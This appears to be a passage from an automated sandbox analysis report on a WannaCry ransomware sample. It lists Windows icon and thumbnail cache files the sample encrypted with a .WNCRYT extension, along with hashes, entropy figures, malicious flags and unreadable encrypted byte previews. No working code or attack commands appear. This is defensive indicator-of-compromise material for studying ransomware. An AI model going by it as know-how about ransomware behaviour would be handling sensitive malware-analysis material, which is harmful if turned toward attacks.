                                    SSDEEP:384:NX+disxyDFP8SYkaJ6kMOFJ2yleGRZajxIgMeC6x2giroYNUdm7RNoi2T65w/:c4FP07XrF7RZ4xIg6w27roObIz/
                                    MD5:563C774E9CCD51BAC76FDC64F77E4187
                                    SHA1:C0CC524DD8E95C30D36C87C50214F4938CEC5F33
                                    SHA-256:B064454D42BDBBA4B8361BB056610116BB66DD470536E79874DBD0F28EE72E81
                                    SHA-512:37D33CE9B0343AE039EECBA81EC24EFC2693E5AA5E66F8D4401D18C4F7A0D79E5D799A6AABAD8220C2274243AEC08337B1671FB291FC35F6114FAE99A90CF6A4
                                    Malicious:true
                                    Preview:WANACRY!......f.).....f..,..D...,k.!].....OE..@.L.C....q.H*G....h.}.....Va......B#%....>B.w.h..y..Z.jt.......oo..@.j..6..69...RR;..s.......k.$+K...n.....'..1y.._..[.3..`f.ne.db.W;.!.5.6.y.......SW.......L`.).e...OP.s.Y.l..8H.X.SI_..E...uK............`.......m.......l.v.~W....A...r$.......D..I7.(E..........6Ww...i*.eY.&YO.....-F0.g.Hv....J.a...>f).i.b..5o....G....X~.=....1.e....X..:...ZL.'.u...[...xj@..v. ......'.}Uk.%BE...]..E.G..7.!1..0.._X.D.F.Z7../....A..=.V.....8...|Pw...Pi..7"%.k...X..n..~.Jx(...y.\....x.z.....A.{.o..."...jz.[.2...s.=@r8S.q..9~&O-#..;..m..........b...5'..e.......?..|`H./...3....%.Y<.~7..4.pH...1. 8.. . J..B..P|fr..X].U..VX)W..........x..B...sX.9.R6'.:..f<.=...k.T.8.)x..Z..{..j:^$g1.].d.....y\B..>..".f......I..-... ._<..C.7..s.u..........L.k...d.#.<R?.....x.S.....N_...x.vp.I.....S@..3.OP..{..(m......#.63...|..yh-x8.a.~nk.I..."$.kA.u.=Op.!K(...W)<.....n.... ..D.R...}.b...V...(.2C..>......A&....~.we.vF..$..2.IG.1

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16664
                                    Entropy (8bit):7.988822997521709
                                    Encrypted:false
                                    SSDEEP:384:2hq3P/2O5ER3fBRLApqO2SJ2P1TR2C+bTiJnnNg93M/2iJ+pvs1/RtvBtc:2IHjsFmQ1Feu5NGMuiJ+U/RtvBtc
                                    MD5:00B3AB48ECC6A6BA8B2F78A4886B1D43
                                    SHA1:D3A02F39AE0E7D77DAE4A64B90B4EE6CE3859042
                                    SHA-256:2B3D6A3CC3B66E84DE13E92D0F4B7A2B63DC41AFE63A8B8B51A538C9E0C081BA
                                    SHA-512:BFD33A483060D417E89AF42FF026414C60A833FF1112B7C5BFCAD6C6D63B9A0191CD7406D75DCAB6138F7944F99F707FE28B8AF2E05AC2EEC68DAAE4528A6A76
                                    Malicious:false
                                    Preview:WANACRY!....7.#.[.;..F...8....*4.....f~....PLb.i. ....w.{..qr.<.z 6,..S[o..{.)...........c..xW.P..../.a.2.....hI..*.'..c/~B../"d.>.rR.n.1.....L...Xv52.../zH..Kn..H..H.nk,..k......,`}....".i.Yp...h...D.Z...qW8...t...s..3Q.1...-..q..$...Z.*.$O.<ph..v>..n}k.....@......>H5.P.1....}............'F..p.cY...x.....V8...v\..7n.b.,.D4..'<q.+,.R..j...,..(r.5gc...})5.b...Xf..}.>h0.k......S`- ..9....>k..>..s.}....l9.n(.3.|..m).....3..:..Q.P.,....=t.@..$.3J..Dd......=.Su_m\..........y(......c.HgZf...$.......N=.:yX....8.-............4.fV.V..<\..-.?..=~RI..W35...3'.&#.g3...s|J..~a..\..f..6.d..bL7.K..........O...h..F]...M.......@.D..~..O..Z....R*eSU......$"x.|Px.LOX7...W..C.........)..P.1Q....>......%k.jN..Q.....}......T.[Zp.In.....UNU.u<.;.O..+...P.....T..m....^~.i"..?.0.M..N..GP......Z...".U......}QN...r...N...............HdD.7.$......tI|1.Y`.~....3.....ib.h.....I.}9e.....q_.^!..EM:.(....Ao..-...Y...../..bZ. ...&w.bT.jt.c@>.u.]!xZ...)GJA....*...y.H.O<..:.&.....

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16664
                                    Entropy (8bit):7.988151106122231
                                    Encrypted:false
                                    SSDEEP:384:BLjGV6OcUpnECA8PFevQBNK1tn9tYUCoOGqcOeo:BvUfECA8PEvQjI8otqJ
                                    MD5:BBFEB1D7D7DB99574D191546CC7306BC
                                    SHA1:804CD619DB989CD810EA905C7C8B0CBC778ADE28
                                    SHA-256:4EF55FB7349802D5B4537EC90C8151DA65C8A559B8F366F3E5B10A8A27A6CA5D
                                    SHA-512:D3864A6887627BDC7100B871F6687D36287B182209C2CE33369A0BF9284E629ED83FD3C68150F8B4321BAB1788D217E8BFFCCB417B051BDD8814A7FC98242F57
                                    Malicious:false
                                    Preview:WANACRY!....&.....v.a.....e..o.i.j.r....4.c.VS.&r.^L....m...Wd...J^....8i...\2..I...q0........>..OpN.|....C..2Y.,.,.V.p..].l**.Re.nBb.V..%..u.p)"..v......+..P........(W.:..V...0Na(..l.e......1O..V......H...;..tv..T5.M9.-.......].+... R..wq.._.g9.....N...m.....@.......N..4r.....T...[...~8...n...(..t.....15..:D.\..uzG;...t....)..E......qO....%r.....o.......iz.K-z....1..s[....i.....n1.[.......A...........F..@.Ni..2#...d...........g#.....h.DZY..0.C.S]...%..$iUV4'..m..bt.V7./.f.q}..<.tGLKO{...U..dd...=...x. +_.~...%"0...b...8..m....*.t.O..pDK.............(Q>(P..K.. ....>....[8.1.n...@...v.-E....Oarq......Y..;.V.$d..+....T..M...T*.;...........$\QO...Z3..(}..`G..t....w>..un.A|.V.X....G.Y...q........O].....N2.g......X....S[...}..?C.83p..Z..w.1Zp[........M.`....o...eay.m....OqG....k7A..+N.eg....E.*.6\0.M!R~>.......N0........'.RL.a.n......KJl."..m..{=..L.".Yiq-....+N..D...z.E..`.....v....)._.on...up .Cq...*....l,.fUS.Q..."....$....Y..e..j..W{..uC

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.999838751271447
                                    Encrypted:true
                                    SSDEEP:24576:u09smqzdxQGyh3M4aq8HslNYMtucIpAqzZf9RamG3qOpmk:r/q5xQGeH6MucuVdLOp
                                    MD5:BDE669D8F78349763C4D0FC4CCA668B6
                                    SHA1:4C6CAA4D9E005F1E14FBA60BAAE282F1114D5004
                                    SHA-256:4993E36B09F94D1A491BDA033B89CC903A3EECDACFA4332479EFD159A51036A7
                                    SHA-512:AF5C5E173391E84792CB76DAD9DD925BC2D8217091375E86B78D592DFF69EAB54CF96C0F01335159BD1AD83043924B41DEF74419750D765085E524CCEC612496
                                    Malicious:true
                                    Preview:WANACRY!........OI..ZX...[K.R..o_<v.&U.}4....6.gt..%.=-..Ne...ehEv...2.>rY(.%.q.p..t....O...}.....QipWL&.G..-...<./.I......K.Y...G...l..2....8.?....`......~...;+.b........7y.A>)...=g.....G..u...:...9!.[A5....L.k.s,.g.._..I<u.59.BV.R..HW....H:...3.T`^.7.:...#...............=..?...m6k.&.U^..c.Y..J.u..AG._...U.}^U@.e}..._..B...K....R%.>.........&...2q.....N..Fx{Cb.a..M..^m..~4D...g.#..T..`g.4u.*z...0..w..|...8|8]EW..3uX.t.^.R..ay..G.C.1............A.d.2.../....)....C[aV.;.R.&w)..!..)...g....'..xY.7I#...`...C.<.!Mb......d..n[@[.<.$U....B.Y...........9...oH.}..`.5.|x!z$,.C...r..Bk...<@....;8...N.7y|@..p.}.?3.xsy...._!-p.qmlDv....i.<9G..*.....q....I.`.)._.....g...Jh._..1..T...K.jW.....q..@......L.v.....R.l.&....n=.,.....B..D..._W..o\...a.i...T...*c.)....r.<...=.1..S.[Q.]>...&.7.U.T..3......>.l...k..*...D...M/z...a .bxlD....F....cm.4...Q.z5..3M..ER...J0H.5......_.ZB.r ..j.]...N"Kd.\.X.I...J.;..c./'._.\...[jf...s.....V..._.F@".o.j..>....d..>.Y.L....%.F)l.Yn

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):3146008
                                    Entropy (8bit):7.999934925443466
                                    Encrypted:true
                                    SSDEEP:49152:eLKBp5hCUNb3FtczH9T1ICFAbVU4XX2+bMgpprDLAJdsclcbGahd:dBp5XBczdTjFAJfG+5z/AJT3Ud
                                    MD5:9EBBABFC85D820B169F9198E60AB5DE1
                                    SHA1:5930D5278E731B66D80AB406C3F8E01D73D5555A
                                    SHA-256:ECBEB531550D9FFABBEEDC503254DACD384A46B28ED0C75DD2FDDE09104527B5
                                    SHA-512:CE619B0027CDBF971064C2475E56AB8B68892121571060748469352DFDC4B2766DBCF815D40B6BC171298A965371A566726A311C39D0333BAA93070590736168
                                    Malicious:true
                                    Preview:WANACRY!....{....!ip..zI...6.....'..;.....-,.N.?F.s........../....\r!"5L.R..]9...#`........&2.ik...Cz..S.$l....H..sK..v.E.E...j...-C..T.n.1.8z..&.=...4=......W...,j..[a.5D|;-..-.u..>b&.I.B..c......p...fj<:.^.a:..........9@M..Bb...'`z......]#...^j....2`..9......0.....o.['.;oO..H....x..pU.H...U..K.q...p_..._.......QW0...;..q.o.~s..M.Z......=..D&81.[#z.......K...#..u.,b.V~..V_F.*"\P..*H.iCA..2H..s....v..7.f.C..i..U%x%B..yq5..,?)"......>...e+.(.\......(..G.>...P_M.9..#.\.~[B.nQ.R........x..MW.6g..Q.y.L..E.b...l.W..Q.A.;.........8........B....w/O...J..5...2.xv.8-...j.8R..m.......+I ..j..T.'.4..{...uzz....Q....)>F.._.6l...r7y. .....;D0..1;...g...s......X{.Y...Ah..oZ.~2.q..y...!.......*sI68.z.@...m..b...*...&.V,.....@.Y.....8O..`.....>+.<.UE..}.5....q/U.~..d.N.Mc.ii..CQg.5.I..7.?.d..`...s......[zQKr.R.V..[.!,\d..?./.'...^.Q...4...k.T.+.T......E.....%z..L....%..........zs ..2...f^.O[.~.wT..|gJ.E'..2.......\.tB.5.f..3C.3..0y.@.z........

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2097432
                                    Entropy (8bit):7.999916387777899
                                    Encrypted:true
                                    SSDEEP:49152:iQqXvWEF6M7uvb4hkTGKzDtxcPeWxZ8UIZQ+NRE164b:iQIvhFi8WTFtxchxZPl1H
                                    MD5:A5DDB21AB84A53239FF9B9419AEA5E4B
                                    SHA1:21945974765E2262AC6A1209486A2B8AEF53380F
                                    SHA-256:6EFACF48B63729CBD53CBE2A472F7FE536D8D19A3E32179870BB96EBDD913507
                                    SHA-512:1C67973C711B87FE0445ED6260BBFC66D1A4B87F9171C1469B77E8428E2650F5602F4B93FB81A8DE1D24381066566C342B03D4F1FD77048C264454E044649B14
                                    Malicious:true
                                    Preview:WANACRY!.....c@.w..j%..a..7.c6...Z.."*./.#..b...x.a...h....wo..rX.H...n.........".,..6"_..g..z..Ce%.....e&Q:.Wcg...p.C.];!..H.1....q.CJ...u..P.]..@......}A....2......C...|-.....C.xXA...+sGN../..........W5].....Q....Y.k.5.....1..rv........e9.97nN.-h..@.......... ......'D...]..<b".z%cPQ....x'........<0.......l.....D[..=r..P"....Pu?i.......y..s..7...\..:DJ\m4D...R.iT.^'.)H.i...@:F..16.C..p...].F......ur.Q.q.IS.a.P....g.<woG.......<..B.\.....'!..m..\..bh..%/}..Z.1......GZ.}'.m.S.*.*.% e.k{.O.Lo..iAVe.mu..8...e...$d......Qv..~.A.....'X...J.B...-p....}..!..6...s...M.#m..*..a.l..w*..u....p.-....` 2..Z...?^.wO.....a+".'...uP=.b..9z[.Sq...(Q....8..Iv.....So.5B.m|.(..q.....7...|gj.*.F..f.....:%.u...-.....H..!~.... J;....(l........$..p...K.#>RY..R.2w..x...3.b.+.......J..............}?.....0<}...xR...{..#v..f.l.vL...u...L..G>7.lE......A.l5.....9..M..R..-...xzf!i..+..f......&............Er...2.X...g9Um2.y'.n..Q.K..%'.V2^Y..4C.\j.}..3-C..A+(.&....._Z)...2B6.

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.99981579621625
                                    Encrypted:true
                                    SSDEEP:24576:5jxnBmIJKRwYiYTn6Gg523qEcYnSvTZ4k:hRYjT6/5VEbnGTN
                                    MD5:4BC9EEDDEE9967E9A52566F43E6039E2
                                    SHA1:9A966D553B9663D8A2B264609CBFE057F3D9AB63
                                    SHA-256:0DD4A63F98DB225B15ED2787F002040473A306C5FA46B3D76EDD7B5482E9D047
                                    SHA-512:0E3DB7858061B3CFB54AE84BD5709A0AE6144521ADB85E973CC2BD6C3DD81328683D119434695E0CFB8B080CE7B0BD07D6E857C50EABB3387343B44C2F8EF499
                                    Malicious:true
                                    Preview:WANACRY!..../g>...N..m7.L9...9.H.......]GY..6.y4..i..5.+........P#.+....vVv....B.......n..}.#k....i.0t..[.Mr1.+O..?.;....~.CU.7L...Sc..b......l1K"U:1.HM|c+........(V.%..96...f..c.G..n....9x_.........A....a.M.da.<.DI.GR...J..r...>.......,......|.............=.P...U].s.=)....o..U.N...]v........W...-.._.h.E ..5.....y`K.M...!.....T.eD..8/....4/...1F.../.%....s.;r..1%.~...j..B..A;ud.H..d.w..=.....[4a..nih..%....&6...k....W.rbL.....}Q....X..y!.B<\r&.Q./..1I.....*03...."....^..7M.....+.....dBaZ. !..o...4.SCi.LW....P....n.r...:..........H2T8.......}.x..8.I.x.k.<..}.+..'..\.G......H~....p.....Cc......5.....Yw..p.!0...X.w8...x....3.....$p....e.....l%...uIIp}.....0.+Vv1.bs.WH..j.%@;.<x.TM...x....z...Q....w,{.C_.....;+.W.#..T*......~S..Mh.(D...kT..@..t......M(.c6.......B.N.>08C.u.w...;.....zY"........yN....e.....q..0..<....E>rl.N...J......tn.L.D.^...'..%..K.U5.n..;9g.y8.L".N......e..+..K.S...u..?.U..q-....U.2y.b......1o..`C..*.q>.k..]

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):58600
                                    Entropy (8bit):7.997095505967721
                                    Encrypted:true
                                    SSDEEP:768:tUdFMjlWqlXcNJ3ZYRatcYyf49J5YX5bgfbRb6RXtHkChOJP9mlllTI8HhzijgDB:tGMUYyZq8YBJKbB6RXv8Sw8BBDlEar
                                    MD5:20EA35C93CE854390094AA0DDED6F781
                                    SHA1:449AACC420DB164241DF369CD5738F834006A144
                                    SHA-256:D48EE72D77D5B49B070F303BC09384993A02425DA07010EC6D139A6B0D36D9E5
                                    SHA-512:0F4E02693A1E5E17872ACA04C4C7C69D8F42C05E4BF60B96C53F743C1B60B785FDF804DFA3F081C70D7E848F82AD2E9A82EA264ED51ED2E9D2A457F96BE589BB
                                    Malicious:true
                                    Preview:WANACRY!....'.W..s..i.e.dw..R.I...Vw[.2.T.......B.mc..9..o..K2h).?w5...tjl..J..s!...U.`P........4...r...^...m.z..j^.OY....Q/>...0..R......Gg.)...4.....b)...@..p..$...]._.....[f.R.q...7...3......,..........I...]A..@..@.".y|._$.OVk..w.%...*.?S.uPU...^12rd\@............/.T.J.*.D^..Z...E.z.A.q.U...z.(..F..`....J .J-........z:....R...`H...E=.....2#.. M...6...>#:g....l...F..H.#....z.<.s.....J.$...+...o<$.HYV!.g....M.Z..!$....|.|c.G....Plb..N{......-2.lS...pV.w..o..a......=W%D..&"M.s.....4.......U.o...}.../..P.....P0....$L...e......k...=F........u|.}Z...P...1.<...8..........{.&(......C.?U.....%~..e.$...O..[k.......bN.6.....1...$.Q"....7.>5..T..u.EC...pV...%Q\.`DZC.EsW....}....&~>..6u..a.P..~..b......F.x`.j..d....Y...Hx.x`.....D....L......5'.&F...];.3..*S....u.E0e.xbs.*.$...J8.[C.']E.).9...x.c&d.6.~..8(...T....fR.v.M7E..pz...A.yR2?..k....N.....gp..<. .2.Y}(.d..j.E...Er....@....u.....=Ig.....r...8^......d..Zh.T.|......Z..R...g..E.P..e..

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.999837277542508
                                    Encrypted:true
                                    SSDEEP:24576:89RNhPtu82Xxf3WnwmAfrAhNStnBO+KSzk/JLRF+ZkJJDKDvS:8nPtu8A3w4aOtyV+ZiJWu
                                    MD5:2E6013D0F96344C01C44F2A6C8313680
                                    SHA1:2772A2C3418D92DA49765513819DC1F5BB7032F4
                                    SHA-256:A6764DC22B4E05AFB6D1958A0A37EE9FD968D74749C5D2319BBBEE33CA779A46
                                    SHA-512:174D90E771E721D009D014455AC63484FE86D02EC863E0A9A4208389B3D544E6C3A5D6081F83DD5D8B3626A5B086765A07F808E9D7653DB3DA59D1DDB86B6544
                                    Malicious:true
                                    Preview:WANACRY!...........Ul..(.Fs....LI.6..>f.6..._...i8..V'....R.^.y.T+..m.*$3..lq.[..............d......(*.};."y.......r......2...i-.. .m.l..3..-...B....-....x.O.Xx.6.YO.#.c"...c....t."..I%x...A...q.X.z...a..n..r..p.iC.[..u+B..........jKu...N..........X..k.................Q..2R.|...q5^.^....G....R..C.a....B.'.h....'.{...... P..O./...f.*.2gI ....v.u...8..[<@.2Y7t.4..(.1.$r...E.2....P$?.........KG%+>....../.... P.\y..n.WX~&.'.>.z..../.|.\...&...~c7.....R_..x...@...z"..(3...&.l_......\..W.........k...k...4kg....B\Y.J..\[..].N(.>..?K....{e-.n5..:.....P........X..#?.kNY...Ac...c.X.E..@..;h...s'0.)`.r...e..[.;VC.........|.R..dKm..P.OK.Q.E..LM.....2........ .V..Z.i...K..#.._$.3G.\..u..%...,TX#.....r..7{..m..!._.WIB.L,i.^Vv..:m.$.B..`...}.,..3...p+....1KK.r.8e..(_g7.p..(..y...f.G........o.=...u._.+...3E..F8".-<{..........vh..GR.|8....U..pd.Cc.*.v.Z.q?UjtL\...F.T..>....V...r.I.L....AJv.....@K'Gp.7...6Y.../......Z....u....&.....Q@x^...V.!...d..

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.999818786753557
                                    Encrypted:true
                                    SSDEEP:24576:XehE3Vwgrhl8xXnHzFbRT6Pl8UtVAPFMjy79xFbHV5f:OQL8Xn/6Pl8NMe79v7f
                                    MD5:6944CA5003CFD5381A61389DBF06C82A
                                    SHA1:049433F31915C398D37D3B8401CEFC86FABD0EF2
                                    SHA-256:156053050E53118622D1B9275DCAF698A98911E1AEC48ECFFE215F08832F0FEF
                                    SHA-512:275F67FD72CAF54EF2E202A9402DD30A2D994CBDFC76B362FB09429C7036945BFEEEEAB3C146FC67B4385CABB1EAAC99B35475A6BCBF3D727DFF810B806E9DC2
                                    Malicious:true
                                    Preview:WANACRY!....Z.K.m5...XF.e.A..*.....B........?1./K1.]w..iR?..[..C...Z.Oa(#.Q.8s...R.....3....."f}.Z...w...a(.(}C]..o.{...`...C@....,.._...q.b....j.&,}GN.(......2.4...v[[..(..F.BC....)8.c...1.g 2.1C....~.*....W.K..<.E|.\%.<.|ex.9.-uf\U.j..>..B.....-G@.&.T(..............X.b........iC#...W.#..U2...xIwr{.7.ZZ.q\...v....#............W..R.....[q..I.;.O.cI'(.D....m.SN ....Q...o... O....:(...x....3m-.k..{D+..\.U.l.t%(i]...P.x....R.2.....8.aP....|J..7.i.....W.......P...+s.X...7....a.........6...1S..#J........k."~..K....6....$.c..(p...S6...Go....^.PG[..UE./Wg.......O...^h`..w...t.......|..|pp.G.9H[....x..#(...)y9....D.B/P...[....7I..M.....DG.,.........!\..:...(........H....,.\.M..K0..mZL#.S..L...h..............8.. T(....q...b~.j4.......9.s4k._..j.Bo._+U...&.....;..I.q.5...U..n?....N..O~6$.cg....'P..TS..u..m.....u`.....Y...5......pf...0...*da.....3..Nj..(...d|d....yf.~.......h.S..).e.*XOp....E*).=,..X.e.Hh.wf..n.........0..'.......8=)D*....^.r"..{

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.999847366991998
                                    Encrypted:true
                                    SSDEEP:24576:qUul8Z5UL3XuEonKCYiw12GVVlW6uRUN+n5PLgjuAkPgzvDBL8D:qgMbIKCVK/45VFLgju1Iz1M
                                    MD5:9F4301F21161BCBA566EA69D5316B0CD
                                    SHA1:48B5FCBEA6DA6557E1116808FABEC84D37156326
                                    SHA-256:01D5DB22B4581CAA8E1481EBF881224202415AA319C845BC259FE7219D7C9682
                                    SHA-512:F57527FF41EB5424125DED2203E2E2DAB01B592535ED4DA697DFF20CE5F1DD94B950FAF4AB570DEE2AB1FBD2FB532E4DC47E1341F9AEDAE063F2BD30E50BB987
                                    Malicious:true
                                    Preview:WANACRY!........l..K..U...Y....3.Q..d......ea..T....my....y......;.....~~.s.%..T.P....t...&.3...&'.....2..t..$.U.T.K.|....t`....[Kw.P..F......y.E?.lt......3...j...wE-..");N....l.$G.......h....A.N....Z...U...ES...n>.P..&.o..wG..@.....;.f....*..B...!.^.*................=u....I&65t..;!....h............w.......q6..h.J.}...(..k...9...z...L{...4.>^...y....-..c.`p|.+=..=........t.. ~>......5(.........V...f..tl.{..p0...s0..%.^.g.lpW.V......&b...t....l.i$.(C^.......?;b(.....@R\:...)...t....]....P....j.BS.Z.e.lH...+;8...!Xp;7R.?Hc...-.......7........[.f.o..Ak9y..GjM...,.N.c.Y.uI.S5N....:rv...+....x.8q....L....C...fo[$7..^.?......P.......;d..V3.)...YG...K.J.A.,.~....pBZ..K{!.M~(t....J;5a..L....H...k../...h!..U.X..b..?.o..W!.......t..Q.pDzF7..[?.n{.......t/.$...r..f..!8: ..J..p!........3...$....<[...DF_.<...<.UdK...P7..g.[......S.^......F."... h......@...x..@C.)K..GJT..l....i..'.sH,.....D..A..x=a....7,$.:TL...i.'s..3P......wlNS..}....r.6s..

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.9998051985504866
                                    Encrypted:true
                                    SSDEEP:24576:RDNygWvCepeTwwIaBCCbYDUfl4vTrnfCctbefESe9Uc6CZbeQchXT:RDNgCVkwDBCCAbrnt6c/9UczZb3cVT
                                    MD5:73DD9CBEA2251B98CAB046F4C166B324
                                    SHA1:4A2E1035074A054324FC607DC5442E0A9774582F
                                    SHA-256:A73A52680FE129C658D9EA50B6E597DF314EC090F86467CF4107EC614D946177
                                    SHA-512:736269A31DA6E5E7DC1E7506E0136BEE1223566F018493333551BDC93290005921F2C8E679BD7B5519C5C70DAE039796F0DDAA754B9948DD2DB03E801ED066F9
                                    Malicious:true
                                    Preview:WANACRY!....0.........|L...........U...*8.X~Q.".k...&......<.9.pb..d.b.....:.#y........2xn_.y.$.WW|.GW..R...\!.6..<....=.o.Kv.*....OF.`.o..$..q../Y....-..H$a.......0.f[.|:...m...G..-]..T.Vw&.......nh^5:K..C.<..P.X.l.....R$?....1.I....2F...l..B.....}.%....(...............hS.........[LY.\....f..z|.+.|.Q.l^.>a..\!....d.6he....0...5..S..dtEIr.[h..E2e.......!.V^;.i...)3....^..6....G.[......\.e..'.dZ..h..vY..hsvGq..Bi..i.Oh...a.....{v.C.....r6..2i1...-......P'.F._._.'.. ...b..a.B...."hr|..x.L..E_ _Q......b. ...../..j\f#...~jc..G?..~..Pf..r.......4.......,..w.6m.'.I....a(.".!......H.....c....1..G.tr.U-I.n%...-.....?Y\...,.".F.9s.[.e..!.H..6.`._..|s".K:Z..-.....M.0..?~O.Q5..6X.^.........~.Zz..5.i.!..q{.LYa.*..y...uR...K.X......)...Vy.a...W..r..G^. ..hD....9W..O.st.......U..n.x..b.tji..%.t..p..Z~....xA..e.fC4g.eY.......g.. .....<.'..C.[......O.(.wS...`...@.M........O....h..T-....~...GF......./.t...a...01/....9W.c..7.9!...u.g..vHX~......n-auN-

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):4194584
                                    Entropy (8bit):7.999960273722098
                                    Encrypted:true
                                    SSDEEP:49152:rRmneRC4BaTODUBbxnZkJ2Sfg+F8jPt+mVbhuClFXesH0T/Y1/ECkbKkkgfSPD2U:geSK2HI2Og+yPtFkMXcTyXDu+U0
                                    MD5:1DBCE30A5A8341E91F8761FD99FBAA6A
                                    SHA1:6D716129D795474A2D8A3509693BA35FE6E66C39
                                    SHA-256:368446D901B7CCE5D5688872AEDF800448423256529664B3B0F13CD1D4151801
                                    SHA-512:432486AD823AEA9FBC954319EFCAEC3426BD3B86A163079503316302B4D0E6D9AACE251E92AED64E8B74A9187F1291F1CA2CDCBC55ED040B04506FA1A643C6FA
                                    Malicious:true
                                    Preview:WANACRY!.....k@.....e..6G..q.L........./...h...&6"/..5.....i......1.be.c......4a;.P...Qh.....3.-.~..SY.......h.Fu..x4_.;fS.".by..5.v48...L.>.....1..N.5..........owh%.[}.S.b..^..TG.}IDj...Pu..>'..0o......[..X.>.r.....D...MN5'.&.lnp.*,.n.{U...F..]..........@.....Ij...Jm1...C4..q..Ib...R]...Y....w._|.q..~(.n..-3...Q...d....7.WC.8MZ.'oC..O.j.|k.?WT3.............._......-..s.lEe.M.Z....lwy#l.}..8.e..lP.e:..Sn.....S...@.c1M...:aV"...pd..W..j+..x?.Qv....ZG.J..i....B'].....A.....0HO....\..~.U0-.;.2.98....Ea..(ts..>..u..(<.j.y....J^.@..\....Hk...S.p.\...}.vq+E._.X......_..i...Ll.((L....PuQ....".Xp.7.b{...h...I..{....x...@...9y.N...I"..0.0......a.[.....yW....E.=...qP..%.q@.......A...l..;....w.|..yRQ.xY.m.E..].-.\.....v.#....$...2....-.........wn.....hO.Lq.C..!...c+E=.e.9.1ly..J.........wa..d..R....`[..?K.p.6..yD..k9....<}M=o.......G....n.......h..d.p..ga/.....m...`..B./.Q5...CjL.....M..........1..Q.......4.].....K.`W..H..H.H.G...+...a...

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):58600
                                    Entropy (8bit):7.9964774610410565
                                    Encrypted:true
                                    SSDEEP:1536:QNgm4qUgDmrbDs3YcuyRVWT+jtDCvcNlD:u5UgDm/DEYcvRVsmDh
                                    MD5:E9A9FB4323691A526130654B3B39AE69
                                    SHA1:56E82842BEC1C6510D957AC37055437765F9C598
                                    SHA-256:9C182DB14C301F42D0798CE338C4A204BE2384BE24FCBBB18AA75D06BF53CF31
                                    SHA-512:82E2AE43606F5A67B4A8638CC448389E2E248EC82A8E8BB4C8D3BDDA4FD8B147505D7D0F98B8F85DB13C2931476752D272A232686383C29719AFFD1F32FDCD39
                                    Malicious:true
